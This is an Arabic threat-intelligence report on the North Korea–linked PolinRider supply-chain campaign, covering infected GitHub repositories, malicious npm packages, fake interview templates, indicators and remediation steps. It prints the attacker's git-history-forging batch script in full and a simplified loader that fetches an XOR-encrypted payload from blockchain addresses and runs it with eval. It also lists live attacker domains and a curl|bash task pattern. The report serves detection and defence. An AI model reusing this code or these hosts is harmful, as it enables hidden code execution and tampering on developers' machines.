
ملف تقني حول هجوم سلسلة التوريد PolinRider المرتبط بكوريا الشمالية، يوثّق حقن حمولات جافاسكريبت مبهمة، التلاعب بسجل git، البنية التحتية للقيادة والتحكم C2، وإرشادات المعالجة لـ 1,951 مستودعًا تم اختراقها.

لقد كشف فريق OpenSourceMalware عن حملة تهديد ضخمة تزرع برمجيات خبيثة في مستودعات مستخدمي ومنظمات GitHub. قام جهة التهديد PolinRider بزرع حمولات JavaScript مشوشة خبيثة في مئات المستودعات العامة على GitHub تابعة لمئات المالكين الفريدين. استخدم الوسم #polinrider لمشاهدة جميع تقارير التهديد المتعلقة بهذه الحملة، وانتقل إلى النهاية من هذه المدونة للحصول على قائمة المستودعات المخترقة، بما في ذلك تلك التي نوصي بإعطائها الأولوية للإجراء الفوري. ضع في اعتبارك أن الوسم هو أفضل طريقة للحصول على البيانات الحالية.
يتم إلحاق حمولة JavaScript بنهاية ملفات التهيئة الحقيقية للمشروع — بصمت، بعد المحتوى المشروع للملف — مما يجعل من السهل تفويتها أثناء مراجعة الكود العادية. يبدو أن ناقل الإصابة الأساسي هو حزمة npm مخترقة يتم تنفيذها أثناء التثبيت أو البناء وتحقن نفسها في ملفات التهيئة في جذر المشروع. والأسوأ من ذلك، أن جهة التهديد هذه استخدمت نفس التقنية لصنع حزم NPM خبيثة أيضًا.
كان هذا الهجوم ناجحًا بشكل هائل، حيث قام مشروع مفتوح المصدر مخترق واحد، Neutralinojs، بنشر البرمجية الخبيثة إلى مئات مستخدميه ومساهميه. Neutralinojs هو مشروع شائع جدًا مع 8400 نجمة و495 شوكة وعشرات المساهمين النشطين. هذه هي قوة هذا النوع من الهجمات، حيث لا يقتصر التهديد على مستودعات GitHub الأولية فقط، بل يمتد إلى جميع المشاريع الأخرى التي تستخدم ذلك المصدر المفتوح.
قام فريق OpenSourceMalware بنسب هذه الحملة إلى كوريا الشمالية (DPRK)، وجهة التهديد PolinRider هي مساهم معروف في مجموعة Lazarus مع اتصالات بحملتي "Contagious Interview" و"TasksJacker".
نمت هذه الحملة بشكل كبير منذ النشر الأول. اعتبارًا من 2026-04-11، أكد فريق OSM أن 1,951 مستودعًا عامًا على GitHub تابعة لـ 1,047 مالكًا فريدًا قد تم اختراقها. هذه زيادة بنسبة 2.9× في الأسابيع الخمسة منذ تاريخ النشر الأصلي (8 مارس: 675 مستودعًا / 352 مالكًا).

في عملية صيد متابعة بدأت في 2026-04-10 واستمرت إلى 2026-04-11، توصل فريق OSM إلى عدة اكتشافات رئيسية:
تضاعفت الحملة أكثر من الضعف في 5 أسابيع. كشف التعداد عبر المحركات باستخدام GitHub Code Search وSourcegraph (مع تحسين يتجاوز حد 1000 نتيجة لواجهة API — انظر المنهجية أدناه) عن 1,556 مستودعًا مخترقًا فريدًا في قائمتنا الرئيسية v3 في اليوم الأول. أضافت جولة صيد ثانية في اليوم الثاني 215 مستودعًا جديدًا عبر التنقل بأسماء حزم npm، وتنقلات VS Code tasks.json / مزود السحابة، والنطاق الفرعي C2 المكتشف حديثًا default-configuration.vercel.app. بعد إزالة التكرارات مقابل مجموعة affected_repos.csv الحالية، أصبح النطاق المعروف الحقيقي الآن 1,951 مستودع ضحية فريدًا / 1,047 مالكًا فريدًا.
تم رصد متغير جديد. قام PolinRider بتدوير جميع البصمات الفريدة لمشوشه مع الحفاظ على البنية. يستخدم المتغير الجديد علامة التوقيع Cot%3t=shtP (كانت rmcej%otb%)، وبذرة الخلط 1111436 (كانت 2857687)، والبذرة الثانوية 3896884 (كانت 2667686)، واسم دالة فك التشفير MDy (كانت _$_1e42). يبدو أن هذا التدوير هو استجابة مراوغة لقاعدة rmcej_otb_payload YARA المنشورة. كلا المتغيرين نشطان حاليًا في البرية. انظر أدناه.
تقارير الصيد الكاملة للإصدار v3 + الجولة الثانية وملفات TSV الرئيسية موجودة في reports/.
لا تستخدم جهة التهديد بيانات اعتماد GitHub المسروقة. بدلاً من ذلك، تم اختراق الضحايا عبر إضافة VS Code خبيثة أو حزمة NPM. لا نعرف بعد ما هو ذلك الناقل الأولي، لكننا نعرف ما يفعله من الأدلة الجنائية.
أول ما يحدث هو أن البرمجية الخبيثة تنفذ وظيفة بحث على الكمبيوتر المحلي تبحث عن ملفات معينة مثل:
إذا وجد أحد تلك الملفات، فسوف يلحق كود JavaScript خبيث مشوش بشدة بنهاية ذلك الملف. بعد ذلك، تقوم البرمجية الخبيثة بتثبيت ملف دفع Windows، باسم temp_auto_push.bat. نحن نعلم أن هذا الملف موجود وما يفعله لأن جهات التهديد تركتة على مئات الخوادم المخترقة مما يعطي الباحثين بصمة للبحث عنها. إليك ملف الدفعة بالكامل:
@echo off
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A
for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A
echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
echo %LAST_COMMIT_TEXT%
echo %USER_NAME% (%USER_EMAIL%)
echo Branch: %CURRENT_BRANCH%
set CURRENT_DATE=%date%
set CURRENT_TIME=%time%
date %LAST_COMMIT_DATE%
time %LAST_COMMIT_TIME%
echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
git config --local user.name %USER_NAME%
git config --local user.email %USER_EMAIL%
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
date %CURRENT_DATE%
time %CURRENT_TIME%
echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit!
git push -uf origin %CURRENT_BRANCH% --no-verify
@echo on
```
### تحليل ملف الدفعة
يقوم ملف الدفعة هذا **بإعادة كتابة آخر commit في git مع الحفاظ على الطابع الزمني الأصلي** — مما يجعل commit المعدّل يبدو كما لو لم يُلمس أبداً.
#### المرحلة 1: استخراج بيانات آخر commit
يقوم بتشغيل `git log -1` خمس مرات لجلب تفاصيل آخر commit إلى متغيرات البيئة:
| المتغير | القيمة الملتقطة |
|---|---|
| `LAST_COMMIT_DATE` | تاريخ آخر commit (YYYY-MM-DD) |
| `LAST_COMMIT_TIME` | وقت آخر commit (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | رسالة commit |
| `USER_NAME` | اسم المؤلف |
| `USER_EMAIL` | بريد المؤلف الإلكتروني |
| `CURRENT_BRANCH` | اسم الفرع الحالي |
#### المرحلة 2: عرض المعلومات المستخرجة
يقوم بإظهار تلك القيم في وحدة التحكم لتتمكن من رؤية ما تم التقاطه قبل المتابعة.
#### المرحلة 3: خدعة الطابع الزمني (المعالجة الأساسية)
1. يحفظ تاريخ ووقت النظام *الحاليين* في متغيرات
2. **يغير ساعة نظام Windows** لتطابق تاريخ ووقت آخر commit
3. يضبط `user.name` و `user.email` المحليين ل git لتطابق مؤلف commit الأصلي
#### المرحلة 4: تعديل commit```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
```
نظرًا لأن ساعة النظام تم إرجاعها، يسجل git الالتزام المعدّل مع **الطابع الزمني الأصلي**، مما يجعله يبدو غير معدّل في التاريخ. `--no-verify` يتجاوز أي خطافات pre-commit.
#### المرحلة 5: الاستعادة والدفع
1. يعيد ساعة النظام إلى التاريخ/الوقت الحالي الحقيقي
2. يدفع بقوة إلى الفرع البعيد باستخدام `-uf` و `--no-verify` لتجاوز خطافات الدفع
#### بعبارات بسيطة
يتيح لك هذا النص البرمجي تعديل الالتزام الأخير بصمت (إضافة أو تغيير الملفات) مع جعل الالتزام المعاد كتابته يبدو أنه يحمل نفس المؤلف والطابع الزمني والرسالة كما في السابق. بالنسبة لأي مراقب ينظر إلى تاريخ git، يبدو أن الالتزام لم يتم تعديله على الإطلاق.
#### الخصائص البارزة
- **يتطلب صلاحيات مرتفعة** لتغيير ساعة نظام Windows
- **الدفع القسري** (`-uf`) سيعيد كتابة التاريخ البعيد — مدمر لأي شخص آخر على الفرع
- كلا علامتي `--no-verify` تتجاوزان عمدًا أي خطافات CI/CD أو فحوصات lint
- إنها في الأساس **أداة تزوير تاريخ** — مفيدة للتنظيف المشروع، ولكنها مفيدة أيضًا لإخفاء الآثار
### ماذا عن Linux و MacOS؟
نفترض أن البرنامج الضار لديه وظائف مشابهة لإعادة كتابة تاريخ git لأنظمة تشغيل أخرى مثل Linux و MacOS. في الواقع، لقد رأينا أدلة على حدوث ذلك على أنظمة تشغيل أخرى، لكن الجهات الفاعلة في التهديد لم تترك أدوات تعمل على تلك المنصات الأخرى في الكود المصدري كما فعلت مع Windows.
---
## الإجراءات الموصى بها
**لأصحاب المستودعات المتضررة:**
1. قم بمراجعة جميع ملفات تهيئة JS (`postcss.config.*`, `tailwind.config.*`, `eslint.config.*`, `next.config.*`, `vite.config.*`, `webpack.config.js`, `gridsome.config.js`, `vue.config.js`, إلخ) بحثًا عن محتوى يظهر بعد `export default` أو `module.exports`. تحقق أيضًا من الفروع غير الافتراضية ومسارات monorepo المتداخلة (`apps/*/`, `frontend/`, `client/`, `web/`, إلخ) — العديد من الضحايا مصابون فقط في المسارات العميقة.
2. ابحث عن الأثر النصي للانتشار `temp_auto_push.bat` في جذر المستودع وأي `config.bat` مشار إليه من `.gitignore`. **حتى إذا تم تنظيف حمولة JS المبهمة، فإن هذا الملف دليل مباشر على الاختراق السابق** ويجب أن يؤدي إلى تدوير بيانات الاعتماد.
3. قم بمراجعة الأصول الثنائية في `public/` و `static/` و `assets/` بحثًا عن ملفات `.woff` / `.woff2` غير متوقعة — تم رصد البرنامج الضار وهو يخفي حمولات داخل ملفات خطوط مزيفة (المتغير الفرعي "fake-font").
4. راجع تبعيات `package.json` — خاصة أي حزم متعلقة بـ PostCSS/Tailwind تمت إضافتها أو تحديثها مؤخرًا مثل `tailwind-mainanimation` و `tailwind-autoanimation` وحزم npm الأخرى المدرجة أدناه.
5. تحقق من `node_modules` بحثًا عن نصوص ما بعد التثبيت: `grep -r "postinstall" node_modules/*/package.json`
6. قم بتدوير أي أسرار أو رموز أو بيانات اعتماد قد تكون موجودة في البيئة أثناء البناء.
7. ادفع بقوة ملفات التهيئة النظيفة وفكر في توقيع الالتزامات مستقبلاً.
8. **لا تفترض أن مستودعًا تم تنظيفه سابقًا يظل نظيفًا** — لاحظ فريق OSM ضحية واحدة على الأقل تمت إعادة إصابتها بالمتغير المدور `Cot%3t=shtP` بعد تنظيف سابق للمتغير `rmcej%otb%`. أعد المسح بشكل دوري.
**لأدوات / سجلات الأمان:**
- أضف قاعدة YARA متعددة المتغيرات `polinrider_payload` (أدناه) إلى خطوط التحليل الثابت — تغطي كلا المتغيرين `rmcej%otb%` و `Cot%3t=shtP`.
- ضع علامة على الحزم التي تحتوي على نصوص ما بعد التثبيت التي تكتب إلى ملفات تهيئة جذر المشروع.
- عالج أصحاب المستودعات المتضررة مع حزم npm المنشورة مؤخرًا، خاصة في نظام Tailwind / PostCSS.
- أضف `filename:temp_auto_push.bat` و `LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat` كاستعلامات مراقبة مستمرة على GitHub Code Search.
### التحقق من PolinRider باستخدام نص OSM
كتب فريقنا نص bash الذي سيتحقق من نظامك المحلي بحثًا عن اختراق. في نهاية منشور المدونة هذا يمكنك معرفة المزيد، أو يمكنك الاطلاع على النص [هنا](https://github.com/OpenSourceMalware/PolinRider/blob/main/polinrider-scanner.sh)
---
## أنواع الملفات المصابة
وسّع تحديث 10 أبريل قائمة أنواع الملفات بشكل كبير. يستهدف البرنامج الضار مجموعة أوسع من ملفات عائلة JS مما تم توثيقه أصلاً، وقد تم رصده داخل أصول ثنائية مثل ملفات الخطوط `.woff2`. تعكس الأعداد أدناه **مجموعة 2026-04-10 المكونة من 1,736 مستودعًا فريدًا**.
| الملف | مرات الظهور (8 مارس) | مرات الظهور (10 أبريل) |
|------|--------------------:|---------------------:|
| `postcss.config.mjs` | 416 | ~960 |
| `tailwind.config.js` | 84 | ~210 |
| `eslint.config.mjs` | 60 | ~150 |
| `postcss.config.js` | 13 | ~40 |
| `App.js` | 13 | ~30 |
| `next.config.mjs` | 12 | ~30 |
| `index.js` | 6 | ~25 |
| `astro.config.mjs` | 6 | ~15 |
| `tailwind.config.mjs` | 5 | ~12 |
| `vite.config.js` / `vite.config.mjs` | — | ~20 |
| `webpack.config.js` | — | ~15 |
| `gridsome.config.js` | — | ~5 |
| `vue.config.js` | — | ~10 |
| `truffle.js` | — | ~5 |
| `temp_auto_push.bat` (propagation script artifact) | — | **101** |
| `.woff2` font files (fake-font sub-variant) | — | مُلاحَظ |
استمرار هيمنة `postcss.config.mjs` (~62% من المستودعات في كلتا نقطتي البيانات) يشير إلى نظام PostCSS / Tailwind كناقل إصابة رئيسي. تُظهر الإدخالات المرصودة حديثًا — `vite.config.*` و `webpack.config.js` و `gridsome.config.js` و `vue.config.js` و `truffle.js` وملفات `.woff2` الثنائية — أن البرنامج الضار وسّع من قواعده الاستهداف للملفات أو أن الجهة الفاعلة في التهديد تستخدم مركبات حزم npm متعددة للوصول إلى الضحايا باستخدام أدوات بناء مختلفة.
**تم ترك الأثر النصي للانتشار `temp_auto_push.bat` في 101 مستودعًا للضحايا**، حتى في الحالات التي تم فيها تنظيف حمولة JS منذ ذلك الحين من قبل المالك. هذا الملف هو أحد أكثر المؤشرات ثقة على الاختراق السابق.
---
## حزم NPM الضارة

نشرت الجهة الفاعلة في التهديد عدة حزم NPM ضارة، جميعها تنتحل شخصية أدوات مجاورة لـ Tailwind / PostCSS. اعتبارًا من 2026-04-11، تم حذف حسابي npm `allavin` و `blackedward` من npm وتم تنظيف حزمهما، لكن المستودعات الحالية للضحايا لا تزال تحمل مراجع التبعيات و(في كثير من الحالات) لا تزال تحتوي على البرامج الضارة المحقونة بعد التثبيت في ملفات التهيئة الخاصة بها.
| الحزمة | أحدث إصدار | الحالة | الناشر | عدد الضحايا المرصود (11 أبريل) |
|---|---|---|---|---:|
| **`tailwindcss-style-animate`** | **1.1.6** | **مُلاحَظ** | **(تم حذف الحساب)** | **34 ← primary ShoeVista dep** |
| `tailwind-mainanimation` | 2.3.3 → `0.0.1-security` | تم إزالته بواسطة npm (تم استبداله ببديل أمان 2026-03-13) | `allavin` (تم حذف الحساب) | 1 |
| `tailwind-autoanimation` | 2.3.6 | تمت إزالته من السجل | `blackedward` (تم حذف الحساب) | 2 |
| `tailwind-animationbased` | — | مُلاحَظ | (تم حذف الحساب) | 0 |
| `tailwindcss-typography-style` | 0.8.2 | مُلاحَظ | (تم حذف الحساب) | 6 |
| `tailwindcss-style-modify` | 0.8.3 | مُلاحَظ | (تم حذف الحساب) | 4 |
| `tailwindcss-animate-style` | 1.2.5 | مُلاحَظ | (تم حذف الحساب) | 0 |
أكد البحث في 11 أبريل أن **`tailwindcss-style-animate ^1.1.6`** هو التبعية الضارة الرئيسية لقالب مقابلة ShoeVista المزيفة — 34 من أصل 46 نتيجة من مخرجات محور حزمة npm هي إعادة تحميل من مطورين لهذا القالب مع تلك التبعية بالضبط. الحزم الأخرى في القائمة تستخدمها حملات شقيقة (على سبيل المثال `tailwind-autoanimation` في مجموعة `devhire-frontend` و `reactapp-6`).
يجب على المحققين الذين يتطلعون إلى التحول عبر شجرة تبعيات npm ملاحظة أن هذا المحور لم يعد ممكنًا لـ `tailwind-mainanimation` — قام npm بتنظيف الإصدار الضار الحي. تحول بدلاً من ذلك عبر استعلامات GitHub Code Search مثل `"<package_name>" filename:package.json`، التي لا تزال تعيد المراجع الشبحية في مستودعات الضحايا.

تستخدم حزمة tailwind-autoanimation نفس الأسلوب الدقيق لإلحاق حمولة JavaScript الضارة بنهاية ملف نقطة الدخول src/index.js:

---
## ملخص البرنامج الضار
يقدم PolinRider حمولة متعددة المراحل، تبلغ ذروتها في نسخة جديدة من برنامج Beavertail الضار من كوريا الشمالية (DPRK). الحمولة الأولية هي باب خلفي / مسرق معلومات للاختراق الجماعي يحقن حمولة JavaScript مبهمة في مستودعات المطورين الشرعيين. يتم إلحاق الحمولة بعد حشو مسافة بيضاء إلى ملفات التهيئة الشائعة (postcss.config.mjs, eslint.config.mjs, tailwind.config.js, إلخ) بحيث يتم تنفيذها تلقائيًا عند استيراد أدوات البناء للوحدة النمطية. تستخدم روتين إزالة إبهام خلط السلاسل متعدد الطبقات، وفي النهاية تقوم ببناء وتنفيذ الحمولة النهائية عبر eval() في وقت التشغيل.
لاحظ فريق OSM حتى الآن **متغيرين نشطين** من هذا المبهم ببصمات فريدة مدورة:
- **المتغير الأصلي (منشور 8 مارس)**: التوقيع `("rmcej%otb%",2857687)`، دالة فك التشفير `_$_1e42`، البذرة الثانوية `2667686`، علامة الحقن `global['!']`.
- **المتغير الجديد (تحديث 10 أبريل)**: التوقيع `Cot%3t=shtP`، بذرة الخلط `1111436`، دالة فك التشفير `MDy`، البذرة الثانوية `3896884`، علامة الحقن `global['_V']='8-XXX'`. نفس البنية، جميع الثوابت الفريدة مدورة — بالتأكيد تقريبًا استجابة مراوغة لقاعدة YARA المنشورة `rmcej_otb_payload`.
كلا المتغيرين يستخدمان نفس بنية C2 للإسقاط الميت عبر البلوكشين (TRON / Aptos / BSC) بنفس مفاتيح XOR، وكلاهما نشط حاليًا في البرية.
هذه الحمولة النهائية هي **حلال إسقاط ميت قائم على البلوكشين** متطور يستخدم معاملات البلوكشين غير القابلة للتغيير كبنية تحكم وأمر (C2). يقوم البرنامج الضار بجلب حمولات JavaScript مشفرة من حسابات البلوكشين (TRON و Aptos و BSC)، ويفك تشفيرها باستخدام تشفير XOR، وينفذها عبر `eval()`. هذه التقنية تجعل بنية C2 شبه مستحيلة الإزالة نظرًا لأن بيانات البلوكشين غير قابلة للتغيير.
---
## ماذا يفعل؟
### الوظيفة الأساسية
1. **اتصال C2 قائم على البلوكشين**
- يستعلم حسابات بلوكشين TRON عن بيانات المعاملات
- يعود إلى بلوكشين Aptos إذا فشل TRON
- يمكنه الاستعلام عن معاملات Binance Smart Chain (BSC)
- يسترجع حمولات JavaScript المشفرة من معاملات البلوكشين
2. **فك تشفير الحمولة**
- يستخدم تشفير XOR بمفاتيح مضمنة لفك تشفير الحمولات
- مفتاحي XOR مختلفين لمراحل/حالات استرجاع مختلفة
3. **تنفيذ الكود عن بعد**
- ينفذ الكود المفكوك تشفيره عبر `eval()`
- يُنتج عمليات فرعية منفصلة للاستمرارية
- يحدث تنفيذ الكود دون تفاعل المستخدم
4. **ميزات مكافحة التحليل**
- طبقات متعددة من الإبهام (4+ طبقات)
- تشفير السلاسل واستبدال الأحرف
- تقنية حل الإسقاط الميت (يصعب نسبها)
- تنفيذ عملية منفصلة (تنجو من إنهاء العملية الأم)
---
## التحليل الفني للبرنامج الضار
وصف فريق OSM سلسلة الهجوم الكاملة لهذا البرنامج الضار في [مدونتنا](https://opensourcemalware.com/blog/neutralinojs-compromise) حول اختراق Neutralinojs الأخير.
### طبقات الإبهام
يستخدم البرنامج الضار أربع طبقات من الإبهام:
**الطبقة 1:** خوارزمية تبديل الأحرف مع البذرة `2857687`
- يفك الإبهام إلى مصفوفة: `['r', 'object', 'm']` (require, typeof check, module)
**الطبقة 2:** تبديل الأحرف مع البذرة `2667686`
- يفك إبهام أسماء الدوال وثوابت السلاسل
- يكشف كود دالة فك التشفير
**الطبقة 3:** تشفير استبدال مخصص
- تعيين الأحرف باستخدام رموز خاصة
- يستبدل العناصر النائبة مثل `.c` و `.a` إلخ بأحرف فعلية
- رموز الأحرف: `\`, `` ` ``, مسافة، سطر جديد، `*`, `'`, وأكثر
**الطبقة 4:** تشفير XOR للحمولات النهائية
- الحمولات المسترجعة من البلوكشين مشفرة بـ XOR
- مفتاحين مضمنين لمراحل مختلفة
### المتغير الجديد: `Cot%3t=shtP`
في أبريل 2026، حدد فريق OSM **متغيرًا نشطًا ثانيًا** لمبهم PolinRider. البنية مطابقة للأصل — نفس تشفير الخلط ذو الـ 4 طبقات، نفس C2 للإسقاط الميت عبر البلوكشين، نفس المرحلة الثانية Beavertail متعددة المراحل — ولكن كل سلسلة بصمة فريدة تم **تدويرها**، بالتأكيد تقريبًا استجابة لقاعدة YARA المنشورة `rmcej_otb_payload`.
| السمة | المتغير الأصلي | المتغير الجديد |
|---|---|---|
| علامة التوقيع | `rmcej%otb%` | `Cot%3t=shtP` |
| بذرة الخلط (الطبقة 1) | `2857687` | `1111436` |
| البذرة الثانوية (الطبقة 2) | `2667686` | `3896884` |
| اسم دالة فك التشفير | `_$_1e42` | `MDy` |
| المتغيرات العامة المحقونة | `global['!']`, `global['r']`, `global['m']` | `global['_V']`, `global['r']`, `global['m']` |
| أنواع الملفات المستهدفة | postcss.config.mjs, tailwind.config.js, eslint.config.mjs, etc. | (نفس الشيء) |
| أسلوب الحقن | ملحق بعد `export default` الشرعي / جسم الوحدة | (نفس الشيء) |
| C2 البلوكشين | TRON / Aptos / BSC | (نفس الشيء — العناوين لم تتغير) |
| مفاتيح XOR | لم تتغير | لم تتغير |
يستخدم المتغير الجديد سطر علامة حقن إضافي: `global['_V']='8-XXX'` (حيث `8-XXX` هو وسم إصدار لكل حقن، على سبيل المثال `8-st1`, `8-st2`, …, `8-st59`، بالإضافة إلى دفعة رقمية موازية مثل `8-413`, `8-683`, `8-778`, `8-974`). وسوم `'8-stN'` المتسلسلة هي أقوى دليل لفريق OSM على أن أدوات الجهة الفاعلة في التهديد تُسند معرفًا رقميًا لكل ضحية وأن **ما لا يقل عن 59 حقنًا متسلسلاً** من هذا المتغير موجود (بعضها لم يتم فهرسته بعد بواسطة بحث الكود العام).
#### نتيجة ملحوظة عبر المتغيرات
مستودع واحد على الأقل — `HassanHabibTahir/testclient` — يحتوي على علامات من كلا المتغيرين في ملفات مختلفة (`rmcej%otb%` في `postcss.config.mjs` و `global['_V']` في ملف آخر)، مما يشير إلى أن أدوات الجهة الفاعلة في التهديد **تعيد التشغيل ضد مضيفين تم اختراقهم سابقًا** باستخدام المبهم المدور. يجب ألا يفترض المدافعون أن مستودعًا تم تنظيفه مرة واحدة يظل نظيفًا.
### قوالب الواجبات المنزلية المسلحة
بالإضافة إلى نواقل التسليم عبر حزمة npm و `.vscode/tasks.json`، قامت الجهة الفاعلة في تهديد PolinRider بإنشاء مشروعين اختباريين مزيفين للواجبات المنزلية على الأقل يتم توزيعهما على المرشحين عبر طُعم مقابلات العمل المزيفة (كتاب Contagious Interview الكلاسيكي). تأتي قوالب المشاريع هذه محملة مسبقًا بتبعيات ضارة أو حمولات tasks.json بحيث يؤدي مجرد استنساخ المشروع وتشغيله إلى تشغيل العدوى.
#### ShoeVista (قالب التجارة الإلكترونية Tailwind)
- **اسم القالب**: `ShoeVista` (يُرى أيضًا باسم `shoevista`, `shoe-vista`, `Test-west-shoe`, `Test-002`, `product-catalog`, `mern-app`, أسماء متفرعة مختلفة بأسماء المرشحين)
- **المكدس**: واجهة أمامية React في `client/`، خلفية Node/Express في `server/` (نموذج MERN نموذجي للواجب المنزلي)
- **ناقل التسليم**: تبعية npm ضارة `"tailwindcss-style-animate": "^1.1.6"` في `client/package.json`
- **حقل `name` في Package.json**: `"client"` (عام — علامة ShoeVista التجارية في README / صفحة الهبوط للشركة المزيفة)
- **مستودعات الضحايا المرصودة**: 34+ إعادة تحميل فردية من مطورين، جميعها تم إنشاؤها في فبراير-مارس 2026، جميعها 0 نجوم / 0 forks (حسابات مخصصة للاستخدام لمرة واحدة جديدة). أمثلة: `alaminrifat/shoevista-rifat`, `Atik203/ShoeVista`, `DaviBarros/shoevista`, `IchaCoder/test-shoe`, `Anas-Ali-3673/Test-west-shoe`, `naime7132/client-2` (متغير devhire)
- **نمط التسمية**: غالبًا ما يسمي المرشحون المستودع بعد مطالبة الشركة المزيفة (`ShoeVista`, `shoevista-rifat`, `HedaetShahriar/ShoeVista-Test`) أو بعد منصة المقابلة (`Test-002`, `test-shoe`, `test_upwork`, `test_west_shoe`)
#### StakingGame (قالب VS Code + أتمتة البلوكشين)
- **بصمة القالب**: يحتوي ملف tasks.json على `"projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" }` — UUID **ثابت** عبر جميع الضحايا وهو أقوى مؤشر على هذا القالب
- **ناقل التسليم**: `.vscode/tasks.json` مسلح مع `runOn: folderOpen` ينفذ `curl | bash` ضد `default-configuration.vercel.app` والنطاقات الفرعية Vercel C2 المكتشفة حديثًا
- **مستودعات الضحايا المرصودة**: 42+ تطابق UUID مباشر بالإضافة إلى استخدام أوسع لملفات tasks.json. أمثلة: `Devba/lmng-top-`, `wyrustaaruz/cal-eco-platform`
- **الموضوع**: تم وضعه كتقييم لمطور بلوكشين / لعبة مراهنة؛ يجذب مرشحي Web3
#### الآثار
وجود مشاريع قوالب مسلحة مسبقًا يعني:
- **المطورون الذين يكملون "اختبارات واجبات منزلية" من مسؤولي توظيف غير مدققين هم ناقل إصابة رئيسي.** هذه ليست مجرد هجوم على سلسلة التوريد عبر npm؛ إنها هجوم هندسة اجتماعية على سوق العمل.
- **حسابات الضحايا ليست مطورين تم اختراقهم سابقًا.** إنها حسابات مرشحين جديدة تم إنشاؤها خصيصًا لإكمال اختبار. وهذا يفسر العدد الكبير من مستودعات الضحايا التي تحتوي على 0 نجوم / 0 forks وأعمار حسابات أقل من سنة.
- **يجب على المدافعين الذين يبحثون عن الضحايا أن يدرجوا أنماط تسمية المرشحين** (`test-*`, `*-test`, `*-interview`, `*-assessment`, `*-task`) في قواعد البحث الخاصة بهم.
### تدفق التنفيذ```
1. Malware loads when NPM package is imported or the source code is run by Node
2. Deobfuscates internal strings and function names
3. Queries TRON blockchain account for latest transaction
├─ URL: https://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions
└─ Extracts transaction data containing encrypted payload
4. If TRON fails, queries Aptos blockchain
├─ URL: https://fullnode.mainnet.aptoslabs.com/v1/accounts/0xbe037.../transactions
└─ Extracts payload from transaction arguments
5. XOR-decrypts the payload using key "2[gWfGj;<:-93Z^C"
6. Executes decrypted code via eval()
7. Spawns detached child process for persistence
├─ Command: node -e "<malicious code>"
└─ Detached: true, windowsHide: true
8. If first set fails, repeats with secondary addresses and key
```
### هيكل الكود```javascript
// Simplified structure (actual code is heavily obfuscated)
async function fetchPayloadFromTron(address) {
// Queries TRON API for account transactions
const response = await https.get(
`https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
);
// Extracts encrypted data from transaction
return response.data[0].raw_data.data;
}
async function fetchPayloadFromAptos(txHash) {
// Queries Aptos API for transaction details
const response = await https.get(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
);
// Extracts payload from transaction arguments
return response[0].payload.arguments[0];
}
function xorDecrypt(encryptedData, key) {
// XOR decryption with repeating key
let result = '';
for (let i = 0; i < encryptedData.length; i++) {
const keyChar = key.charCodeAt(i % key.length);
result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
}
return result;
}
// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode); // EXECUTES ARBITRARY CODE
// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
```
---
## البنية التحتية للـ C2 (مؤشرات الاختراق)
### نقاط نهاية C2 HTTP المستضافة على Vercel (جهة TasksJacker)
مُستخدَمة في حمولات `curl | bash` الخاصة بـ `.vscode/tasks.json` مع `runOn: folderOpen`. جميعها تتبع شكل الرابط `https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>`. هذه هي الخوادم التمهيدية التي يسيطر عليها المهاجم والتي تُوصّل محمّل PolinRider JS لضحايا VS Code.
| النطاق الفرعي | العدد (11 أبريل) | أول ظهور | ملاحظات |
|---|---:|---|---|
| `260120.vercel.app` | 56 | قبل 8 مارس | استعلام OSM الأصلي Q11؛ نُشر أيضاً في أول تدوينة |
| **`default-configuration.vercel.app`** | **106** | أبريل 2026 | أكبر مجموعة نطاق فرعي فردي تم العثور عليها حتى الآن |
| **`vscode-settings-bootstrap.vercel.app`** | 16 | أبريل 2026 | |
| **`vscode-settings-config.vercel.app`** | 11 | أبريل 2026 | |
| **`vscode-bootstrapper.vercel.app`** | 6 | أبريل 2026 | |
| **`vscode-load-config.vercel.app`** | 6 | أبريل 2026 | |
جميع النطاقات الخمسة `vscode-*` / `default-configuration` تم اكتشافها في عملية الصيد التي جرت في 10–11 أبريل وهي الآن جزء من مجموعة استعلامات صيد OSM. يُتوقع ظهور المزيد من النطاقات الفرعية الشقيقة حيث أن نطاقات Vercel رخيصة / قابلة للاستبدال بالنسبة للمهاجم.
### عناوين البلوكشين (صندوق موتى المرحلة الثانية لمحمّل PolinRider-JS)
#### عناوين ترون (C2 رئيسي)
- **`TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP`** (رئيسي)
- **`TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG`** (ثانوي)
نقطة نهاية API: `https://api.trongrid.io/v1/accounts/`
#### تجزئات معاملات Aptos (C2 احتياطي)
